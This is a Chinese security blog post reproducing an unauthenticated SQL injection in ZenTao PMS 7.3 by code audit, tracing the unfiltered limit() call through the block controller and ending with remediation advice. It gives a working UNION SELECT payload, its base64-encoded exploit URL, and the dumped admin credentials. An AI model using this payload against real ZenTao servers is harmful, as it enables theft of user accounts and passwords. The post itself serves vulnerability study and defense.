专栏首页漏斗社区代码审计|禅道7.3SQL注入复现

代码审计|禅道7.3SQL注入复现

上周的zentaopms漏洞复现你们觉得还OK吗?

斗哥想要的是一个肯定。

如果你们觉得意犹未尽,

本期将进入,

代码审计的小练习。

Zentaopms v7.3sql注入漏洞

(无需登录)。

来,表演开始!

环境搭建

STEP1:网上下载zentaopms7.3的源码;

下载地址:

链接:http://pan.baidu.com/s/1mi62jEw

密码:8lgz

STEP2:将网上下的源码解压到phpstudy目录下的WWW文件夹里;

STEP3:访问该WWW文件夹下的install.php文件,安装好网站。

漏洞复现

1.注册账号

安装完成后,进入主页,安装的时候已经配置了管理员的用户名和密码admin/admin,这里就直接登陆 。

图 2-1 登陆禅道

图 2-2进入管理界面

2.过程分析

(1) 问题出现在\lib\dao中的,dao.class.php文件的limit($limit)函数,它对传进的参数没有经过任何过滤就直接拼接成SQL语句进行查询。

图 2-3 dao.class.php

(2)使用反向审计的方式

这里function limit($limit)就是危险函数,所以是通过危险函数追溯调用函数的位置,把这个函数在控制器文件中搜索了一下,limit($出现在了 module\block\control.php,module\task\model.php 中, model.php中的limit()函数,发现是被getUserTasks函数调用了;

图 2-4 module\task\model.php

追踪getUserTasks这个函数被调用的地方,在module\block\control.php,printTaskBlock函数调用了getUserTasks这个函数,并使用params传入了type。

图 2-5module\block\control.php

再次反向追溯$params变量声明的地方,发现是在main()函数用于GET接收params的值再传入到$params变量中的,$params = $this->get->param; 并且需要满足条件$mode == 'getblockdata',$params还需要经过先base64解编码后再json解码,然后才能被使用,所以此时可以推出,param参数在GET请求中是需要先经过json编码后再base64编码,然后才传到服务端的。

图2-6module\block\control.php

查看$mode声明的位置,然后发现$mode是从GET请求中接收mode参数的值,$mode = strtolower($this->get->mode);

图 2-7 module\block\control.php

当mode为getblockdata时,我们传入的$params会被base64_decode和json_decode。我们可以通过构造blockid,加载下面的函数。

假设,我们想调用 printTaskBlock() 函数,该函数又调用了getUserTasks,定位一下printTaskBlock函数, 传递进去的参数就应该是 mode=getblockdata,blockid=task,以及编码后的 param(包含参数account,type,num,orderBy)。

图 2-8module\block\control.php

再回来看一下'\module\task\model.php'里的getUserTask函数。注意'getUserTasks'里的第二个参数$type 参数会带入到sql里。接下来我们需要构造param,以便传参数进来。

图 2-9 \module\task\model.php

因为禅道对url进行了重写,查看index.php,注释以下字段提示不能重写,所以重写的方法是router::createApp /* Instance the app. $app = router::createApp('pms', dirname(dirname(__FILE__)), 'router'); */ 根据createApp朔源到zentaopms\framework\router.class.php,定位到以下代码,是对路径进行重写的代码,并且在zentaopms\framework\router.class.php中可以得到重写规则是 目录-方法.html的格式 。

图 2-10\ framework\router.class.php

在下面的代码追溯$this->config->default->view;发现在config中是使用-进行分割,后缀为html。

图 2-11\ framework\router.class.php

图 2-12\config\config.php

在构造之前,我们先把基本的url写出来

http://127.0.0.1:5600/zentaopmsx/www/block-main.html?mode=getblockdata&blockid=task&param=1

为了验证加密方法是否正确,把config/my.php里的trace设置为True。方便看调试语句。

编写验证加密的脚本。

使用curl或者burp抓取数据包,查看页面的响应。

可以看到服务器解析了我们在type写入的加密数据,与未加密的数据比较,验证了加密的方法是正确的,SQL语法规定, union必须再orderby之前,因为注入点之前不包含order by,所以可以使用union 联合查询。

根据刚刚说的,把需要的参数加入url中,构造payload,mode=getblockdata&blockid=task& param={"account":"admin","type":"id=-1 UNION SELEC

T 1,2,3,4,5,6,account,8,9,password,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,

5,6,7,8 FROM zt_user#"}前几个参数mode,blockid,都是固定的,主要变化的是参数的构造使用curl或者burp抓取数据包,查看页面的响应。

根据control.php的解密方式,对paylaod:param={"account":"admin","type":"id=-1 UNION SELECT 1,2,3,4,5,6,account,8,9,password,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 FROM zt_user#"}加密,先json加密,再base64加密。

所以最后的payload为:

http://127.0.0.1:5600/zentaopmsx/www/block-main.html?mode=getblockdata&blockid=task&param=eyJhY2NvdW50IjoiYWRtaW4iLCJ0eXBlIjoiaWQ9LTEgVU5JT04gU0VMRUNUIDEsMiwzLDQsNSw2LGFjY291bnQsOCw5LHBhc3N3b3JkLDEsMiwzLDQsNSw2LDcsOCw5LDAsMSwyLDMsNCw1LDYsNyw4LDksMCwxLDIsMyw0LDUsNiw3LDggRlJPTSB6dF91c2VyIyJ9

直接贴到地址栏,爆出了管理员的用户名和密码。

使用MySQL监视器跟踪的结果为:

SELECT t1.*, t2.id as projectID, t2.name as projectName, t3.id as storyID, t3.title as storyTitle, t3.status AS storyStatus, t3.version AS latestStoryVersion FROM `zt_task` AS t1 LEFT JOIN `zt_project` AS t2 ON t1.project = t2.id LEFT JOIN `zt_story` AS t3 ON t1.story = t3.id wHeRe t1.deleted = '0' AND t1.id=-1 UNION SELECT 1,2,3,4,5,6,account,8,9,password,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 FROM zt_user# = 'admin' oRdEr bY

Md5解密一下:

得到最终的结果为 admin/admin。

简而言之,用户对其可控注入参数type构造恶意代码值,limit函数在dao.class.php执行sql查询,得到结果,但是在limit在拼接时没有对输入的语句做过滤,导致注入漏洞。

漏洞修复

导致注入攻击的两个条件:

(1)用户能够控制数据的输入—在上面的案例中,用户能够控制变量type

(2)原本要执行的代码,拼接了用户的输入—limit函数

select('t1.*,t2.id,t2.name,t3.id,t3.title,t3.status,t3.version') from t1

leftjoin t2 on('t1.project = t2.id') leftjoin t3 on('t1.story = t3.id') where('t1.deleted')->eq(0)

beginIF($type != 'all')->and Where("t1.$type")->eq($account)->fi() orderBy($orderBy)

beginIF($limit > 0)->limit($limit)->fi() page($pager) fetchAll();

根据上面两个条件,防御sql注入的方式是:

1.使用预编译语句,绑定变量

例如:

$query = “select * from table_name where x andWhere type=?”

$stmt = $mysqli->prepare($query)

$stmt = $blind_param(“sss”,$var)

使用预编译的sql语句,sql语句的语义不会发生变化,变量用?表示,攻击者无法改变SQL结构。

2.检查数据类型,限制输入的数据的类型未某一指定的类型,如整型等。

3.在此案例中,使用的是mysql,可以过滤 union,select,from等数据库关键字。

小总结

本期的zentaopms注入漏洞就为各位介绍到这里啦~!后续我们将推出更多的漏洞复现,别忘了持续关注漏斗社区哦~!

本文分享自微信公众号 - 漏斗社区(newdooneSec),作者:nick

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2017-08-18

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 您有一份CTF代码审计文件等待查收

    0x01 背景 上周总结了一些文件包含与伪协议结合的利用方法,本周就找一道例题进行演练。题目源自国外某挑战平台,平台上还有许多其他有趣的challenges题目...

    漏斗社区
  • 除了小蜗牛,我蛙还带来了YUNUCMSv1.0.6

    ? 任意文件删除漏洞 0x00 相关环境 源码信息:YUNUCMSv1.0.6 问题文件: \YUNUCMSv1.0.6\statics\ueditor\p...

    漏斗社区
  • 代码审计| 从今天起,做一个精致的多米咖!

    0x00 背景 在看CNVD漏洞库的时候发现有师傅发了某cms前台SQL注入漏洞,通过查阅漏洞描述可知道存在问题的参数是cardpwd,便开始尝试对该版本的c...

    漏斗社区
  • SQLi-Labs环境搭建

    对于想要学习web安全的同学 , 这是一个非常好的学习有关SQL注入的学习资料 类似于闯关的模式 , 每一个关卡都有非常多的思路和利用方式 这些关卡包含了各种常...

    HACK学习
  • PHP配置方法

    用户1112962
  • Win2003 PhpMyadmin 安装笔记

    2. 在D盘建立一下目录,hosting主要用于存放网站与网站日志,server主要用于存放mysql与其他软件。并将此两个目录给予IIS-WPG与Guests...

    SuperDream
  • Sass/SCSS 和纯 CSS 写法的差别

    小胖
  • python九九乘法表

    [root@hmaster pythoncode]# vim 001jiujiucf.py [root@hmaster pythoncode]# python ...

    py3study
  • @Resource,@Autowired,@Inject3种注入方式详解

    概况 @Resource,@Autowired,@Inject 这3种都是用来注入bean的,它们属于不同的程序中。 ANNOTATIONPACKAGESOUR...

    Java技术栈
  • python - 模块

    参考:https://www.cnblogs.com/nulige/p/6166205.html

    py3study

扫码关注云+社区

领取腾讯云代金券